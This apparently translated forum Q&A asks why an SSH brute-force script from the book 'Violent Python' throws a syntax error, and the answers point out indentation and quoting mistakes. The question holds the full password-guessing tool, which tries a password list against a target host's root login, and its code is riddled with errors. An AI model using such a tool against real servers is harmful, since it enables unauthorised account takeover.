2013-07-24 82 views
0

好吧,我使用暴力Python书,并制作了一个SSH暴力程序。当我运行下面的代码语法错误,我似乎无法找到

import pxssh 
import optparse 
import time 
from threading import * 
maxConnections = 5 
connection_lock = BoundedSemaphore(value=maxconnections) 
Found = False 
Fails = 0 

def connect(host, user, password, release): 
    global Found 
    global Fails 
    try: 
     s = pxssh.pxssh() 
     s.login(host, user, password) 
     print '[+} Paassword Found: ' + password 
    Found = True 
    except Exception, e: 
     if 'read_nonblocking' in str(e): 
     Fails += 1 
      time.sleep(5) 
      connect(host, user, password, False) 
    elif 'synchronize with original prompt' in str(e): 
     time.sleep(1) 
     connect9host, user, password, False) 
    finally: 
    if release: connection_lock.release() 

def main(): 
    parser = optparse.OptionParser('usage%prog '+\ 
     '-H <target host> -u <user> -F <password list>') 
    parser.add_option('-H', dest='tgtHost', type='string', \ 
     help= 'specify target host') 
    parser.add_option('-u', dest='user', type='string', \ 
     help='specify the user') 
    parser.add_option('-F', dest='psswdFile', type='string, \ 
     help='specify password file') 
     (options, args) = parser.parse_args() 
    host = options.tgtHost 
    passwdFile = options.psswdFile 
    user = options.user 

    if host == None or psswdFile == None or user == None: 
     print parser.usage 
     exit(0) 
    fn = open(psswdFile, 'r') 
    for line in fn.readlines(): 
    if Found: 
     print "[+] Exting: Password Found." 
     exit(0) 
     if Fails > 5 
     print "[!] Exiting: Too many socket timeouts" 
     exit(0) 
    connection_lock.acquire() 
     password = line.strip('\r').strip('\n') 
    print "[-] Testing: "+str(password) 
     t = Thread(target=connect, args+(host, user, \ 
      password, True)) 
     child = t.start() 

if __name__ == '__main__': 
    main() 

,并使用下面的命令上终端运行它:

python brute_force_ssh_pxssh.py -H 10.10.1.36 -u root -F pass.txt 

我得到这个错误:

File "brute_force_ssh_pxssh.py", line 17 
    Found = True 
     ^
SyntaxError: invalid syntax 

我检查了示例代码,它是写完全这个...任何帮助非常感谢。 (我仍然是Python的noob)。谢谢!

+0

你似乎也错过了关闭'''以及。注意SO语法突出显示的位置会让人感到困惑。 – mgilson

回答

0

你有一些问题在代码

超过17行其他的各个部分identation,它看起来像 行20,第23行(elif块),第27行,第38行,以及48到59的行似乎不好缩进。

你也有一条线25上缺少'34号线和一个额外的)

+0

非常感谢!是的,我应该使用除纯文本编辑器以外的东西> _ < –

2

缩进是错误的。应该是

try: 
    s = pxssh.pxssh() 
    s.login(host, user, password) 
    print '[+} Paassword Found: ' + password 
    Found = True 
except Exception, e: 
    if 'read_nonblocking' in str(e): 
     Fails += 1 
2

Found = True应该缩进。

try: 
    s = pxssh.pxssh() 
    s.login(host, user, password) 
    print '[+} Paassword Found: ' + password 
    Found = True 
except Exception, e: 
    if 'read_nonblocking' in str(e): 
    Fails += 1 
     time.sleep(5) 
     connect(host, user, password, False) 
1

缩进是有效的。找到=真应该多缩进那么try:

这样的:

try: 
    s = pxssh.pxssh() 
    s.login(host, user, password) 
    print '[+} Paassword Found: ' + password 
    Found = True 
except Exception, e: 
相关问题